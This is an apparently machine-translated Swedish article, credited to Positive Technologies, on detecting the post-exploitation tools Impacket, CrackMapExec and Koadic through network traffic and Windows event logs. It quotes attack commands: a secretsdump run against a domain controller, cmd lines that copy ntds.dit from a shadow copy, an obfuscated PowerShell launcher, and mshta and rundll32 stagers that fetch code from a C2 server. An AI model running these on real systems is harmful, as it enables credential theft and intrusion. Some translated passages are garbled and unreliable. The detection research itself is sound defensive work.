Hur man upptÀcker attacker mot Windows-infrastruktur: vi studerar hackarnas verktyg

Hur man upptÀcker attacker mot Windows-infrastruktur: vi studerar hackarnas verktyg

Antalet attacker i företagssektorn ökar för varje Ă„r: till exempel registrerades det 13% fler unika incidenter under 2017 jĂ€mfört med 2016, och under 2018 — 27% fler incidenter, jĂ€mfört med föregĂ„ende period. Inklusive de dĂ€r operativsystemet Windows Ă€r det primĂ€ra arbetsverktyget. Under 2017–2018 genomförde grupperingar som APT Dragonfly, APT28, APT MuddyWater attacker mot regerings- och militĂ€ra organisationer i Europa, Nordamerika och Saudiarabien. De anvĂ€nde tre verktyg — Impacket, CrackMapExec och Koadic. Deras kĂ€llkod Ă€r öppen och tillgĂ€nglig pĂ„ GitHub.

Det Ă€r vĂ€rt att notera att dessa verktyg inte anvĂ€nds för första intrĂ„ng utan för att fortsĂ€tta attacken inom infrastrukturen. Angripare anvĂ€nder dem i olika stadier av attacken, efter att ha passerat perimetern. Detta, för att sĂ€ga sĂ„, Ă€r svĂ„rt att upptĂ€cka och ofta bara med hjĂ€lp av teknologier för upptĂ€ckte spĂ„r av kompromittering i nĂ€tverkstrafik eller verktyg som gör det möjligt att upptĂ€cka aktiva handlingar frĂ„n angripare efter att de penetrerat infrastrukturen. Verktygen erbjuder mĂ„nga funktioner — frĂ„n filöverföringar till interaktion med registret och exekvering av kommandon pĂ„ en fjĂ€rrmaskin. Vi har genomfört en studie av dessa verktyg för att bestĂ€mma deras nĂ€tverksaktivitet.

Vad vi behövde göra:

  • FörstĂ„ hur hackarverktygen fungerar. Ta reda pĂ„ vad angriparna behöver för att exploatera och vilka teknologier de kan utnyttja.
  • Hitta det som inte upptĂ€ckts av informationssĂ€kerhetsmedel under de första stadierna av attacken. Rekognosceringsfasen kan bli förbisedd, antingen eftersom angriparen Ă€r en intern illojal aktör eller eftersom angriparen utnyttjar en brist i infrastrukturen som tidigare varit okĂ€nd. Det finns möjlighet att Ă„terstĂ€lla hela kedjan av dess Ă„tgĂ€rder, dĂ€rav önskan att upptĂ€cka vidare rörelser.
  • Eliminera falska positiva frĂ„n intrĂ„ngsdetekteringssystem. Det Ă€r viktigt att komma ihĂ„g att det kan förekomma vanliga misstag vid upptĂ€ckter av olika Ă„tgĂ€rder baserat enbart pĂ„ underrĂ€ttelser. Det finns vanligtvis tillrĂ€ckligt mĂ„nga sĂ€tt inom infrastrukturen som vid första ögonkastet ser legitima ut för att fĂ„ viss information.

Vad fĂ„r angriparna av dessa verktyg? Om det handlar om Impacket fĂ„r angriparna ett stort bibliotek av moduler som kan anvĂ€ndas vid olika stadier av attacken efter att perimeter har överskridits. MĂ„nga verktyg anvĂ€nder Impacket-moduler internt – till exempel Metasploit. Den innehĂ„ller dcomexec och wmiexec för att fjĂ€rrköra kommandon, secretsdump för att hĂ€mta konton frĂ„n minnet, som har lagts till frĂ„n Impacket. Slutligen kommer korrekt upptĂ€ckte aktiviteter frĂ„n ett sĂ„dant bibliotek ocksĂ„ att upptĂ€cka derivat.

Om CrackMapExec (eller bara CME) har skaparna inte av en slump skrivit "Powered by Impacket". Dessutom har CME inbyggd funktionalitet för vanliga scenarier: det innefattar Mimikatz för att hÀmta lösenord eller deras hash, och en injektion av Meterpreter eller Empire-agenten för fjÀrrkörning, samt Bloodhound ombord.

Det tredje verktyget vi valt Àr Koadic. Det Àr relativt nytt, presenterades vid den internationella hackerkonferensen DEFCON 25 2017 och kÀnnetecknas av en okonventionell metod: att arbeta genom HTTP, JavaScript och Microsoft Visual Basic Script (VBS). Denna metod kallas living off the land: verktyget anvÀnder sig av en uppsÀttning beroenden och bibliotek som Àr inbyggda i Windows. Skaparna kallar det COM Command & Control, eller C3.

IMPACKET

Funktionaliteten hos Impacket Àr mycket omfattande, frÄn insamling av information inom AD och datainsamling frÄn interna MS SQL-servrar, till tekniker för att hÀmta autentiseringsuppgifter: det inkluderar SMB relay-attacker och att fÄ filen ntds.dit frÄn domÀnkontrollanten som innehÄller anvÀndarens lösenordshashar. Impacket kan ocksÄ fjÀrrköra kommandon med fyra olika metoder: via WMI, tjÀnsten för hantering av Windows-schemalÀggaren, DCOM och SMB, och för detta krÀver det autentiseringsuppgifter.

Secretsdump

LÄt oss titta pÄ secretsdump. Detta Àr en modul som kan rikta sig bÄde mot anvÀndarmaskiner och domÀnkontroller. Med hjÀlp av denna kan man fÄ kopior av minnesomrÄdena LSA, SAM, SECURITY, NTDS.dit, vilket gör att den kan dyka upp i olika faser av en attack. Det första steget i modulens arbete Àr autentisering via SMB, för vilken antingen anvÀndarens lösenord eller dess hash Àr nödvÀndigt för att automatiskt genomföra en Pass the Hash-attack. NÀsta steg Àr en begÀran om att öppna Ätkomst till Service Control Manager (SCM) och att fÄ tillgÄng till registret via protokollet winreg, som angriparen kan anvÀnda för att fÄ information om intressanta nycklar och fÄ resultat genom SMB.

I figur 1 ser vi hur Ätkomst till registret via LSA sker med hjÀlp av protokollet winreg. Detta görs med kommandot DCERPC med opcode 15 - OpenKey.

Hur man upptÀcker attacker mot Windows-infrastruktur: vi studerar hackarnas verktyg
Figur 1. Öppning av en registernyckel via protokollet winreg

DÀrefter, nÀr Ätkomst till nyckeln har erhÄllits, sparas vÀrden med kommandot SaveKey med opcode 20. Impacket gör detta pÄ ett mycket specifikt sÀtt. Det sparar vÀrdena i en fil vars namn Àr en strÀng av 8 slumpmÀssiga tecken med tillÀgg av .tmp. Dessutom utförs den fortsatta exporten av denna fil via SMB frÄn System32-katalogen (figur 2).

Hur man upptÀcker attacker mot Windows-infrastruktur: vi studerar hackarnas verktyg
Figur 2. Schema för att hÀmta registernyckeln frÄn en fjÀrrmaskin

Det visar sig att sÄdan aktivitet i nÀtverket kan upptÀckas genom begÀrningar till specifika nycklar i registret via protokollet winreg, specifika namn, kommandon och deras ordning.

Denna modul lÀmnar Àven spÄr i Windows hÀndelseloggen, vilket gör att den enkelt kan upptÀckas. Till exempel, som ett resultat av körningen av kommandot

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

i Windows Server 2016 ser vi följande viktiga sekvens av hÀndelser:

1. 4624 - fjÀrrinloggning.
2. 5145 - kontroll av Ätkomst till den fjÀrrservice via winreg.
3. 5145 - kontroll av Ätkomst till filen i System32-katalogen. Filen har det slumpmÀssiga namnet som nÀmnts ovan.
4. 4688 - skapande av processen cmd.exe, som startar vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - skapande av processen med kommandot:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 — skapande av process med kommandot:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 — skapande av process med kommandot:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Som med mÄnga verktyg för post-exploitation har Impacket moduler för fjÀrrkommandokörning. Vi fokuserar pÄ smbexec, som ger en interaktiv kommandotolk pÄ den fjÀrranslutna maskinen. För denna modul krÀvs ocksÄ autentisering via SMB, antingen med lösenord eller hash. I figur 3 ser vi ett exempel pÄ hur ett sÄdant verktyg fungerar, i detta fall Àr det konsolen för den lokala administratören.

Hur man upptÀcker attacker mot Windows-infrastruktur: vi studerar hackarnas verktyg
Fig. 3. Interaktiv smbexec-konsol

Det första steget i smbexec:s arbete efter autentisering Àr att öppna SCM med kommandot OpenSCManagerW (15). BegÀran Àr anmÀrkningsvÀrd: i den har fÀltet MachineName vÀrdet DUMMY.

Hur man upptÀcker attacker mot Windows-infrastruktur: vi studerar hackarnas verktyg
Fig. 4. BegÀran om att öppna Service Control Manager

DÀrefter skapas en tjÀnst med kommandot CreateServiceW (12). I fallet smbexec kan vi se samma logik varje gÄng vid uppbyggnaden av kommandot. I figur 5 markeras oförÀnderliga kommandoparametrar med grönt, och det som angriparen kan Àndra med gult. Det Àr tydligt att namnet pÄ den körbara filen, dess katalog och output-filen kan Àndras, men att Àndra det som ÄterstÄr Àr mycket svÄrare utan att bryta logik i Impacket-modulen.

Hur man upptÀcker attacker mot Windows-infrastruktur: vi studerar hackarnas verktyg
Fig. 5. BegÀran om att skapa en tjÀnst via Service Control Manager

Smbexec lÀmnar ocksÄ tydliga spÄr i Windows-loggen. I loggen för Windows Server 2016 ser vi följande viktiga hÀndelseformulÀr för interaktiv kommandotolk med kommandot ipconfig:

1. 4697 — installation av tjĂ€nst pĂ„ offret:

%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 — skapande av process cmd.exe med argumenten frĂ„n punkt 1.
3. 5145 — kontroll av Ă„tkomstrĂ€ttigheter till filen __output i katalogen C$.
4. 4697 — installation av tjĂ€nst pĂ„ offret.

%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — skapa cmd.exe-process med argument frĂ„n punkt 4.
6. 5145 — kontroll av filbehörigheter för __output i katalogen C$.

Impacket utgör grunden för utveckling av verktyg för attacker. Det stöder nÀstan alla protokoll inom Windows-infrastrukturen och har sina egna karaktÀristiska funktioner. HÀr finns bÄde specifika winreg-frÄgor och anvÀndning av SCM API med typisk kommandogenomföring, samt filnamnsformat och SMB-delning SYSTEM32.

CRACKMAPEXEC

Verktyget CME Àr frÀmst avsett att automatisera de rutinuppgifter som en angripare mÄste utföra för att avancera inom nÀtverket. Det möjliggör samarbete med de vÀlkÀnda Empire-agenten och Meterpreter. För att utföra kommandon hemligt kan CME obfuskera dem. Genom att anvÀnda Bloodhound (ett separat verktyg för underrÀttelseverksamhet) kan angriparen automatisera sökningen efter aktiva sessioner av domÀnadministratören.

Bloodhound

Bloodhound som ett fristÄende verktyg möjliggör avancerad underrÀttelseverksamhet inom nÀtverket. Det samlar in data om anvÀndare, maskiner, grupper, sessioner och levereras som ett skript i PowerShell eller en binÀr fil. För att samla in information anvÀnds LDAP eller protokoll som Àr baserade pÄ SMB. Integrationsmodulen CME möjliggör laddning av Bloodhound pÄ mÄlets maskin, körning och insamling av data efter fullföljd, vilket automatiserar ÄtgÀrder i systemet och gör dem mindre synliga. Bloodhound:s grafiska grÀnssnitt presenterar insamlade data i form av grafer, vilket möjliggör att hitta den kortaste vÀgen frÄn angriparens maskin till domÀnadministratören.

Hur man upptÀcker attacker mot Windows-infrastruktur: vi studerar hackarnas verktyg
Fig. 6. Bloodhound grÀnssnitt

För att köras pÄ mÄlets maskin skapar modulen en uppgift, med hjÀlp av ATSVC och SMB. ATSVC Àr grÀnssnittet för att arbeta med Windows uppgiftsschemalÀggare. CME anvÀnder dess funktion NetrJobAdd (1) för att skapa uppgifter över nÀtverket. Ett exempel pÄ vad CME-modulen skickar visas pÄ fig. 7: detta Àr ett anrop av kommandot cmd.exe och obfuskad kod som argument i XML-format.

Hur man upptÀcker attacker mot Windows-infrastruktur: vi studerar hackarnas verktyg
Fig. 7. Skapa uppgift via CME

Efter att uppgiften har skickats för utförande, startar mÄlets maskin Bloodhound sjÀlv, och det kan ses i trafiken. Modulen kÀnnetecknas av LDAP-frÄgor för att fÄ standardgrupper, en lista över alla maskiner och anvÀndare i domÀnen, och för att hÀmta information om aktiva anvÀndarsessioner genom SRVSVC NetSessEnum-anrop.

Hur man upptÀcker attacker mot Windows-infrastruktur: vi studerar hackarnas verktyg
Figur 8. HÀmta en lista över aktiva sessioner via SMB

Dessutom intrÀffar en hÀndelse med ID 4688 (process skapad) och processnamnet nÀr Bloodhound körs pÄ offrens maskin med aktiv granskning. «C:WindowsSystem32cmd.exe». AnmÀrkningsvÀrt hÀr Àr kommandoradsargumenten:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101, 101, 46, 83 , 101 , 
 , 40,41 )-jOIN'' ) "

Enum_avproducts

Modulen enum_avproducts Àr mycket intressant ur ett funktionalitets- och implementeringsperspektiv. WMI tillÄter helt enkelt att man med hjÀlp av WQL-frÄgor fÄr tillgÄng till olika Windows-objekt, vilket den hÀr CME-modulen anvÀnder. Den genererar frÄgor till klasserna AntiSpywareProduct och AntiVirusProduct om sÀkerhetsprogram som Àr installerade pÄ offrens maskin. För att hÀmta nödvÀndiga data ansluter modulen till namnutrymmet rootSecurityCenter2, formulerar en WQL-frÄga och fÄr ett svar. Figur 9 visar innehÄllet i sÄdana frÄgor och svar. I vÄrt fall hittade vi Windows Defender.

Hur man upptÀcker attacker mot Windows-infrastruktur: vi studerar hackarnas verktyg
Figur 9. NÀtverksaktivitet för modulen enum_avproducts

Ofta kan WMI-granskning (Trace WMI-Activity), dÀr man kan hitta anvÀndbar information om WQL-frÄgor, vara avstÀngd. Men om den Àr aktiverad, sparas en hÀndelse med ID 11 vid körningen av skriptet enum_avproducts. Den kommer att innehÄlla anvÀndarnamnet som skickade förfrÄgan samt namnet i namnutrymmet rootSecurityCenter2.

Varje moduler av CME har sina egna artefakter, oavsett om det handlar om specifika WQL-frÄgor eller skapande av en viss typ av uppgift i aktivitetsplaneraren med förvrÀngning och typiska Bloodhound-aktiviteter i LDAP och SMB.

KOADIC

En sĂ€rskiljande funktion hos Koadic Ă€r anvĂ€ndningen av inbyggda JavaScript- och VBScript-tolkare i Windows. PĂ„ detta sĂ€tt följer det trenden living off the land — det vill sĂ€ga det har inga externa beroenden och anvĂ€nder standardverktyg i Windows. Det Ă€r ett verktyg för fullstĂ€ndig Command & Control (CnC) eftersom en 'implantat' installeras pĂ„ maskinen efter infektion, vilket gör det möjligt att kontrollera den. Denna maskin kallas 'zombie' i Koadic-terminologi. Vid brist pĂ„ behörigheter för fullstĂ€ndig funktionalitet pĂ„ offrets sida kan Koadic höja dessa genom att anvĂ€nda UAC-bypass-tekniker.

Hur man upptÀcker attacker mot Windows-infrastruktur: vi studerar hackarnas verktyg
Figur 10. Kommandotolken Koadic

Offretet mÄste sjÀlv initiera kommunikationen med Command & Control-servern. För detta behöver de anvÀnda en förberedd URI och hÀmta huvudkroppen av Koadic med hjÀlp av en av stagerna. Figur 11 visar ett exempel för stagern mshta.

Hur man upptÀcker attacker mot Windows-infrastruktur: vi studerar hackarnas verktyg
Figur 11. Initiering av session med CnC-servern

UtifrÄn variabeln WS i svaret blir det tydligt att körningen sker via WScript.Shell, och variablerna STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE innehÄller nyckelinformation om parametrarna för den aktuella sessionen. Detta Àr det första paret av förfrÄgan-svar i HTTP-anslutningen med CnC-servern. Efterföljande förfrÄgningar Àr direkt kopplade till funktionaliteten hos de anropade modulerna (implantat). Alla Koadic-moduler fungerar endast med en aktiv session med CnC.

Mimikatz

Precis som CME arbetar med Bloodhound, arbetar Koadic med Mimikatz som ett separat program och har flera sÀtt att köra den. Nedan visas ett par förfrÄgan-svar för att ladda ner implantatet Mimikatz.

Hur man upptÀcker attacker mot Windows-infrastruktur: vi studerar hackarnas verktyg
Figur 12. Överföring av Mimikatz till Koadic

Det gÄr att se hur formatet pÄ URI:n har Àndrats i förfrÄgan. Nu finns det ett vÀrde för variabeln csrf, som svarar mot den valda modulen. Oroa dig inte för namnet; vi vet alla att CSRF vanligtvis betyder nÄgot annat. Som svar kom den huvudsakliga kroppen av Koadic, till vilken kod relaterad till Mimikatz lagts till. Den Àr tillrÀckligt stor, sÄ vi ska titta pÄ nyckelpunkterna. Framför oss finns ett base64-kodat bibliotek av Mimikatz, en serialiserad .NET-klass som ska injicera det, och argument för att köra Mimikatz. Resultatet av körningen skickas över nÀtverket i klartext.

Hur man upptÀcker attacker mot Windows-infrastruktur: vi studerar hackarnas verktyg
Figur 13. Resultat av Mimikatz körning pÄ en fjÀrrmaskin

Exec_cmd

I Koadic finns det ocksÄ moduler som kan köra kommandon pÄ distans. HÀr kommer vi att se samma metod för att generera URI och de vÀlkÀnda variablerna sid och csrf. För exec_cmd-modulen lÀggs kod till i kroppen som kan köra shell-kommandon. Nedan visas sÄdan kod som finns i HTTP-svaret frÄn CnC-servern.

Hur man upptÀcker attacker mot Windows-infrastruktur: vi studerar hackarnas verktyg
Figur 14. Kod för implantatet exec_cmd

Variabeln GAWTUUGCFI med den bekanta attributen WS krĂ€vs för att köra koden. Med den kan implantatet anropa shell, genom att bearbeta tvĂ„ kodvĂ€gar — shell.exec med Ă„terlĂ€mning av utdataflödet och shell.run utan Ă„terlĂ€mning.

Koadic Àr inte ett typiskt verktyg, men har sina artefakter genom vilka det kan hittas i legitim trafik:

  • sĂ€rskild utformning av HTTP-förfrĂ„gningar,
  • anvĂ€ndning av winHttpRequests API,
  • skapelse av WScript.Shell-objektet via ActiveXObject,
  • ett stort exekverbart block.

Den initiala anslutningen initierar en stegar, vilket gör det möjligt att upptÀcka dess aktivitet genom Windows-hÀndelser. För mshta Àr denna hÀndelse 4688, som indikerar skapandet av en process med startattribut:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Under körningen av Koadic kan man se ytterligare hÀndelser 4688 med attribut som karaktÀriserar det vÀl:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Slutsatser

Trenden att leva av landet blir allt mer populÀr bland illvilliga aktörer. De utnyttjar inbyggda verktyg och mekanismer i Windows för sina behov. Vi ser hur populÀra verktyg som Koadic, CrackMapExec och Impacket, som följer denna princip, allt oftare förekommer i APT-rapporter. Antalet forks pÄ GitHub för dessa verktyg ökar ocksÄ, och nya dyker upp (nu finns det redan omkring tusen). Trenden vÀxer i popularitet pÄ grund av sin enkelhet: angriparna behöver inga externa verktyg, de finns redan pÄ offrens maskiner och hjÀlper till att kringgÄ sÀkerhetsÄtgÀrder. Vi fokuserar pÄ att studera nÀtverksinteraktion: varje verktyg som beskrivits ovan lÀmnar sina spÄr i nÀtverkstrafiken; en detaljerad analys av dessa har gjort det möjligt för oss att trÀna vÄr produkt PT NÀtverksattackupptÀckte de att upptÀckas, vilket i slutÀndan hjÀlper till att utreda hela kedjan av cyberincidenter med deras involvering.

Författare:

  • Anton Tyurin, chef för expertservice, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, expert, PT Expert Security Center, Positive Technologies

KĂ€lla: habr.com

Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar đŸ”„ Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster